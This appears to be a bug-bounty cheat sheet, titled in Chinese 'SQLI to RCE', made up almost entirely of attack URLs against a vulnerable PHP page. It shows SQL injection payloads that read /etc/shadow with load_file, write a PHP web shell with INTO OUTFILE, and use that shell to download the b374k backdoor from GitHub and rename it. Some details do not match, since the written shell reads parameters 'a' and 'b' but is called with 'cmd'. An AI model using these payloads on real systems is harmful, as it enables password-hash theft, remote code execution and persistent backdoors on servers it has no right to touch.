奖金！！！，SQLI 到 RCE

[ LOAD FILE ]
http://localhost:1337/vuln.php?id=-1 union select 1,load_file(/etc/shadow),3--+-

http://localhost:1337/vuln.php?id=-1 union select 1,load_file(0x2f6574632f736861646f77),3--+-

[ INTO OUTFILE ]
http://localhost:1337/vuln.php?id=-1 union select 1,”<?php var_dump($_GET[‘a’]($_GET[‘b’])); ?>“,3  into outfile “/folder1/folder2/rce.php” --+-

http://localhost:1337/rce.php?cmd=wget https://raw.githubusercontent.com/backdoorhub/shell-backdoor-list/master/shell/php/b374k.php  -o backdoor.php5.txt

http://localhost:1337/rce.php?cmd=mv backdoor.php5.txt backdoor.pl.rb.ApapunBahasanya.asm.c